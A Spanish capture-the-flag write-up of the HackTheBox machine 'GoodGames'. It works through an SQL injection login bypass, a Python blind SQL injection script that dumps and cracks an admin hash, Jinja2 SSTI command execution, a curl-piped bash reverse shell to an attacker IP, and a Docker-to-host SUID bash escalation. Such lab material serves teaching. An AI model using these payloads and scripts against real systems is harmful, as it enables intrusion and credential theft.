Inicio GoodGames Writeup
Entrada
Cancelar
Banner Sizzle

GoodGames Writeup

Máquina Easy, nos aprovechamos de una inyección SQL para saltarnos el panel de login, convirtiendonos en el usuario administrador de la página, encontramos un subdominio y metemos en él unas credenciales que encontramos en otra inyección SQL de tipo Boolean Based, por último, nos aprovechamos de reutilizar contraseñas y un bash SUID.

Recopilación de información

Primero vamos a comprobar la conectividad con la máquina.

1
2
3
4
5
6
7
❯ ping -c 1 10.10.11.130
PING 10.10.11.130 (10.10.11.130) 56(84) bytes of data.
64 bytes from 10.10.11.130: icmp_seq=1 ttl=63 time=32.0 ms

--- 10.10.11.130 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 32.028/32.028/32.028/0.000 ms

En la salida del comando anterior se puede ver un parámetro llamado ttl, gracias a este parámetro podemos saber que sistema operativo está corriendo en la máquina víctima.

  • GNU/Linux = TTL 64
  • Windows = TTL 128

En este caso, el sistema operativo que está corriendo en la máquina víctima es Linux.

Vamos a usar la herramienta nmap para descubrir que puertos están abiertos y que servicios están asociados a estos.

1
❯ nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.11.130 -oG allPorts
  • -p- -> Escanea todos los puertos (65535)
  • –open -> Muestra solo los puertos con un estatus “open”
  • -sS -> Aplica un TCP SYN Scan
  • –min-rate 5000 -> Indica que quiero emitir paquetes no más lentos que 5000 paquetes por segundo
  • -vvv -> Muestra la información en pantalla a medida que se descubre
  • -n -> Indica que no aplique resolución DNS
  • -Pn -> Indica que no aplique el protocolo ARP
  • 10.10.11.130 -> Dirección IP que se quiere escanear
  • -oG allPorts -> Exporta el output a un fichero grepeable con nombre “allPorts”

Este sería el output del escaneo:

1
2
3
4
Starting Nmap 7.92 ( https://nmap.org ) at 2022-09-06 12:49 CEST
Scanning 10.10.11.130 [65535 ports]
PORT   STATE SERVICE REASON
80/tcp open  http    syn-ack ttl 63

Ahora vamos a realizar un escaneo más profundo, también con nmap pero esta vez solamente lanzaremos scripts básicos de enumeración y analizaremos la versión de los puertos abiertos obtenidos anteriormente.

1
❯ nmap -p80 -sC -sV 10.10.11.130 -oN targeted
  • -p80 -> Indica los puertos que se quieren escanear
  • -sC -> Lanza scripts básicos de enumeración
  • -sV -> Enumera la versión y servicio que está corriendo en los puertos
  • 10.10.11.130 -> Dirección IP que se quiere escanear
  • -oN targeted -> Exporta el output a un fichero en formato nmap con nombre “targeted”

Este sería el output del escaneo:

1
2
3
4
5
6
7
8
9
Starting Nmap 7.92 ( https://nmap.org ) at 2022-09-06 13:17 CEST
Nmap scan report for internal-administration.goodgames.htb (10.10.11.130)
PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.4.51
| http-title:     Flask Volt Dashboard -  Sign IN  | AppSeed
|_Requested resource was http://internal-administration.goodgames.htb/login
| http-server-header: 
|   Werkzeug/2.0.2 Python/3.6.7
|_  Werkzeug/2.0.2 Python/3.9.2

Los puertos abiertos y sus servicios asocidados son:

  • 80/tcp -> http

Empezaremos enumerando la web, primero podemos empezar enumerando las tecnologías que está utilizando la página. Esto lo podemos hacer utilizando un plugin del navegador llamadado Wappalyzer o utilizando la herramienta whatweb.

1
2
❯ whatweb http://10.10.11.130
http://10.10.11.130 [200 OK] Bootstrap, Country[RESERVED][ZZ], Frame, HTML5, HTTPServer[Werkzeug/2.0.2 Python/3.9.2], IP[10.10.11.130], JQuery, Meta-Author[_nK], PasswordField[password], Python[3.9.2], Script, Title[GoodGames | Community and Store], Werkzeug[2.0.2], X-UA-Compatible[IE=edge]

Lo más interesante que vemos utilizando Wappalyzer es que se está utilizando Flask, por lo que podemos intuir que vamos a tener que utilizar un SSTI (Server Side Template Injection) en algún momento. Ahora vamos a enumerar directorios con dirsearch.

1
❯ dirsearch -u http://10.10.11.130/ -x 404 -t 200
  • -u http://10.10.11.130/ -> Indica la url
  • -x 404 -> Oculta las peticiones que arrojan un código de estado 404
  • -t 200 -> Indica el número de hilos que queremos usar

Las rutas que hemos encontrado son las siguientes:

1
2
3
4
5
6
7
8
9
10
Target: http://10.10.11.130/

[13:21:48] Starting: 
[13:22:26] 200 -  43KB - /blog
[13:22:44] 200 -   9KB - /login
[13:22:45] 302 -  208B - /logout  ->  http://10.10.11.130/
[13:22:55] 200 -   9KB - /profile
[13:22:58] 403 -  277B - /server-status
[13:22:58] 403 -  277B - /server-status/
[13:22:59] 200 -  33KB - /signup

Busqueda de vulnerabilidades

Vemos que la página está relacionada con los videojuegos, en el fuzzing que hemos realizado antes vimos que tenemos un “/login” y un “/signup”. Vamos a meternos a “/signup” para registrarnos en la página.

Nos registramos Nos registramos

Ya registrados en la página, vamos a iniciar sesión.

Iniciamos sesión Iniciamos sesión

Al loguearnos vemos que nos redirige a una página en la que nos muestra los ajustes de nuestro usuario. No tenemos nada demasiado especial en estos ajustes, podemos intentar volver al login e intentar saltarnos el login con una inyección SQL de tal forma que entremos con el primer usuario, que por lo general es el administrador.


Explotación

Recordemos que un panel de login nos dará como válido el intento de login cuando la query que se manda nos devuelva un valor “TRUE”, es decir, necesitamos que el mail y la contraseña sean correctos para la misma entrada, por lo que si introducimos un mail y una contraseña válidos pero de diferentes cuentas no nos devolvera un valor “TRUE”.

Sabiendo que nos darán como válido el intento de login cuando la query devuelva un valor “TRUE” podemos aprovecharnos de esto intentando hacer que la query devuelva un valor “TRUE” sin proporcionar credenciales válidas inyectando SQL.

Nuestro payload para saltarnos el login sería el siguiente:

1
' or 1=1-- -

Iniciamos sesión usando una inyección SQL Iniciamos sesión usando una inyección SQL

Vemos que nos ha funcionado, además, hemos iniciado sesión como un usuario “admin”, vemos que tenemos un botón que antes no teníamos.

Entramos como el administrador de la página Entramos como el administrador de la página

Si nos metemos al botón que no teníamos antes veremos que nos redirigen a un dominio nuevo, vamos a apuntarnoslo en el “/etc/hosts” para poder entrar en él.

1
❯ echo "10.10.11.130 internal-administration.goodgames.htb" | sudo tee -a /etc/hosts

Ahora que tenemos el dominio relacionado con la IP, vamos a volver a entrar a la página.

Entramos como el administrador de la página Entramos como el administrador de la página

Vemos otro login, si intentamos saltarnos de nuevo el panel de login con una inyección SQL no conseguiremos nada, necesitaremos unas credenciales para autenticarnos en el panel. Si nos acordamos, el panel de login anterior nos reportaba algo distinto dependiendo si el login era correcto o no. Nos podemos aprovechar de esto utilizando una inyección SQL de tipo “Boolean Based” explico todo esto mejor en el siguiente post.

He creado el siguiente script en python para explotar la inyección SQL.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
#!/usr/bin/python3

"""
Usage:
  sqli.py (-p <payload>) [-l] (-r <letras>) (-i <palabras>)

Options:
  -h --help     Muestra este panel.
  -l            Añade Limit a la query
  -r            Rango de letras por palabra
  -i            Rango de palabras
"""


from pwn import *
from docopt import docopt
import requests, signal, string

# Variables globales
url = "http://10.10.11.130/login"
header = {"Content-Type": "application/x-www-form-urlencoded"}

numbers = string.digits
letters = string.ascii_lowercase
simbols = r"-_:@!$%&()*+/;<=>?[\]^{|}.~"
dictionary = numbers + letters + simbols

result = ""

def def_handler(sig, frame):
    print("\n[+] Saliendo...")
    exit(1)

# Ctrl + C
signal.signal(signal.SIGINT, def_handler)

def makeRequest(payload):
    data_post = {
            'email':'%s' % payload, 
            'password':'xdann1'
            }
    r = requests.post(url, data=data_post, headers=header)
    return r

if __name__ == "__main__":
    arguments = docopt(__doc__, version='Naval Fate 2.0')
    
    p2 = log.progress("Brute Forcing")
    p1 = log.progress("Output")

    for n in range(0, int(arguments["<palabras>"])):
        for i in range(1, int(arguments["<letras>"]) + 1):
            for c in dictionary:

                default = arguments["<payload>"]

                if arguments["-l"] == True:
                    limit = "(%s limit %d,1)" % (arguments["<payload>"], n)
                    default = limit

                payload = "a' or SUBSTR(%s ,%d,1)='%s'-- -" % (default, i, c)
                r = makeRequest(payload)

                p2.status("Probando en el resultado %d con el caracter %s en la posicion %d" % (n, c, i))

                if "Login Success" in r.text:
                    result += c
                    p1.status(result)

        result += " "

Vamos a sacar la base de datos actual, el usuario y la versión de la base de datos.

1
2
3
❯ python3 sqli.py -p "select concat(@@version,':',user(),':',database())" -l -r 40 -i 1
[┬] Brute Forcing: Probando en el resultado 0 con el caracter ~ en la posicion 40
[┬] Output: 8.0.27:main_admin@localhost:main

Vamos a sacar las bases de datos existentes.

1
2
3
❯ python3 sqli.py -p "select schema_name from information_schema.schemata" -l -r 20 -i 5
[├] Brute Forcing: Probando en el resultado 4 con el caracter > en la posicion 6
[├] Output: information_schema main

Vamos a sacar las tablas de la base de datos “main”.

1
2
3
❯ python3 sqli.py -p "select table_name from information_schema.tables where table_schema='main'" -l -r 20 -i 5
[├] Brute Forcing: Probando en el resultado 2 con el caracter b en la posicion 10
[ ] Output: blog blog_comments user

Vamos a sacar las columnas de la tabla “user”.

1
2
3
❯ python3 sqli.py -p "select column_name from information_schema.columns where table_schema='main' and table_name='user'" -l -r 10 -i 5
[▇] Brute Forcing: Probando en el resultado 4 con el caracter 4 en la posicion 2
[o] Output: email id name password

Vamos a sacar el contenido de la columna “name” y “password” ya que son los datos que nos piden en el login.

1
2
3
python3 sqli.py -p "select concat(name,':',password) from main.user" -l -r 45 -i 5
[......\.] Brute Forcing: Probando en el resultado 0 con el caracter l en la posicion 43
[......\.] Output: admin:2b22337f218b2d82dfc3b6f77e7cb8ec

Parece ser que la contraseña esté hasheada, vamos a ver que algoritmo de encriptación fue utilizado para poder desencriptarlo. Yo voy a utilizar hash identifier.

Vemos el tipo de algoritmo utilizado Vemos el tipo de algoritmo utilizado

Se utilizó “MD5” para hashear la contraseña, es bastante fácil romper este hash, yo voy a utilizar crackstation para hacerlo.

Crackeamos el hash Crackeamos el hash

Vamos a usar esta contraseña con el usuario encontrado anteriormente para autenticarnos contra el panel de login, quedarían así las credenciales “admin:superadministrator”.

Nos logueamos en el panel de flask Nos logueamos en el panel de flask

Si vemos el panel de login veíamos la palabra “flask” en grande, además, si veis las tecnologías utilizadas en la página veréis que se está utilizando “flask”, esto nos puede indicar que puede ir encaminado en un SSTI (Server Side Template Injection).

Vamos a probar el siguiente payload “{{7*7}}” en todos los lados para ver si encontramos el SSTI.

Descubrimos un SSTI Descubrimos un SSTI

Hemos descubierto un SSTI en el apartado de nombre en nuestro usuario, vamos a ver si podemos ejecutar comandos, voy a usar el siguiente payload “{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen(‘id’).read() }}”.

Conseguimos ejecutar comandos Conseguimos ejecutar comandos

Vamos a mandarnos una reverse shell, yo voy a utilizar curl para hacerlo. Nos crearemos un archivo “index.html” que contenga una reverse shell, luego desde la máquina víctima apuntaremos a esta url y lo ejecutaremos con bash.

Este será el archivo “index.html”:

1
2
3
#!/bin/bash

bash -i >& /dev/tcp/10.10.14.9/443 0>&1

Vamos a crearnos un servidor web que aloje el archivo “index.html” y vamos a ponernos en escucha en el puerto 443.

1
2
3
❯ python3 -m http.server 80
❯ nc -nlvp 443
listening on [any] 443 ...

Ahora vamos a mandarnos la petición desde la máquina víctima, utilizaremos el siguiente payload: “{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen(‘curl http://10.10.14.9 | bash’).read() }}”

Nos debería haber llegado una reverse shell, vamos a tratar la tty para hacerla completamente funcional.

1
2
3
4
5
6
7
8
9
10
11
12
> script /dev/null -c bash
Script started, file is /dev/null
> CTRL + Z
suspended  nc -nlvp 443
❯ stty raw -echo; fg
nc -nlvp 443
	reset
reset: unknow terminal type unknown
Terminal type? xterm
> export SHELL=bash
> export TERM=xterm
> stty rows 41 columns 184

Post-explotación

Lo primero, vamos a intentar ver la flag del usuario.

1
2
3
4
5
> cd /home
> ls 
augustus
cd augustus; cat user.txt
25cbadd89133afc4****************

Vemos que hemos entrado directamente como el usuario “root”, vamos a comprobar si estamos en un contenedor comprobando la dirección IP.

1
2
> hostname -I
172.19.0.2

Vemos que estamos en un contenedor, la mayoría de veces docker nos genera una interfaz intermediaria para conectarnos con nuestro host, esto lo podemos mirar con:

1
2
3
4
5
> route -n
Kernel IP routing table
Destination     Gateway         Genmask         Flags Metric Ref    Use Iface
0.0.0.0         172.19.0.1      0.0.0.0         UG    0      0        0 eth0
172.19.0.0      0.0.0.0         255.255.0.0     U     0      0        0 eth0

Vemos que existe una, vamos a ver si tenemos conexión con ella.

1
2
3
4
5
6
7
> ping -c 1 172.19.0.1
PING 172.19.0.1 (172.19.0.1) 56(84) bytes of data.
64 bytes from 172.19.0.1: icmp_seq=1 ttl=64 time=0.062 ms

--- 172.19.0.1 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 0.062/0.062/0.062/0.000 ms

Si nos fijamos e intentamos buscar el usuario “augustus” en el “/etc/passwd” veremos que no existe una entrada para este usuario, sin embargo, tenemos su home y si además vemos los permisos de su home veremos que apunta a un grupo que no existe, por lo que podemos deducir que el home del usuario está montad en nuestro contenedor. Vamos a comprobar esto.

1
2
3
4
5
6
> ls -l
total 4
-rw-r----- 1 root 1000 33 Sep  7 16:04 user.txt
> cat /etc/group | grep 1000
> mount | grep augustus
/dev/sda1 on /home/augustus type ext4 (rw,relatime,errors=remount-ro)

Podemos intentar ver que puertos están abiertos en la interfaz que hemos encontrado (172.19.0.1), vamos a crear un script para enumerar los puertos.

1
2
> nano portscan.sh
bash: nano: command not found

Vemos que no vamos a poder utilizar nano,vim… Vamos a crearnoslo en nuestra máquina y luego lo pasaremos a la máquina víctima.

1
2
3
4
5
6
7
8
9
10
11
12
#!/bin/bash

function ctrl_c(){
    echo "[!] Saliendo..."
    exit 1
}

trap ctrl_c INT

for i in $(seq 1 65535); do
    timeout 1 bash -c "echo '' > /dev/tcp/172.19.0.1/$i" 2>/dev/null && echo "[*] Puerto Abierto: $i" &
done

Vamos a pasarlo a la máquina víctima para luego ejecutarlo.

1
2
3
❯ cat portscan.py | base64 -w 0
IyEvYmluL2Jhc2gKCmZ1bmN0aW9uIGN0cmxfYygpewogICAgZWNobyAiWyFdIFNhbGllbmRvLi4uIgogICAgZXhpdCAxCn0KCnRyYXAgY3RybF9jIElOVAoKZm9yIGkgaW4gJChzZXEgMSA2NTUzNSk7IGRvCiAgICB0aW1lb3V0IDEgYmFzaCAtYyAiZWNobyAnJyA+IC9kZXYvdGNwLzE3Mi4xOS4wLjEvJGkiIDI+L2Rldi9udWxsICYmIGVjaG8gIlsqXSBQdWVydG8gQWJpZXJ0bzogJGkiICYKZG9uZQo=
> echo 'IyEvYmluL2Jhc2gKCmZ1bmN0aW9uIGN0cmxfYygpewogICAgZWNobyAiWyFdIFNhbGllbmRvLi4uIgogICAgZXhpdCAxCn0KCnRyYXAgY3RybF9jIElOVAoKZm9yIGkgaW4gJChzZXEgMSA2NTUzNSk7IGRvCiAgICB0aW1lb3V0IDEgYmFzaCAtYyAiZWNobyAnJyA+IC9kZXYvdGNwLzE3Mi4xOS4wLjEvJGkiIDI+L2Rldi9udWxsICYmIGVjaG8gIlsqXSBQdWVydG8gQWJpZXJ0bzogJGkiICYKZG9uZQo=' | base64 -d > portscan.sh

Vamos a asignarle privilegios de ejecución al script y ejecutarlo.

1
2
3
4
> chmod +x portscan.sh
> ./portscan.sh
[*] Puerto Abierto: 22
[*] Puerto Abierto: 80

Vemos que está abierto el puerto 22 y 80, vamos a intentar conectarnos por ssh con el usuario “augustus” con la contraseña que habíamos encontrado antes (superadministrator).

1
2
3
4
> ssh augustus@172.19.0.1
augustus@172.19.0.1's password: superadministrator
> whoami
augustus

Como tenemos montado el home del usuario “augustus” en el docker y tenemos el usurio “root” podríamos traernos un binario con permisos SUID al home del usuario para poder escalar al usuario en el host.

1
2
3
4
> cp /bin/bash /home/augustus/ (docker)
> chmod 4777 bash (docker)
> chown root:root bash (docker)
> ./bash -p (ssh)

Ahora que hemos conseguido convertirnos en “root” en la máquina víctima, vamos a leer la flag del usuario root.

1
2
> cat /root/root.txt
8ghb158cf1469754f****************
Esta entrada está licenciada bajo CC BY 4.0 por el autor.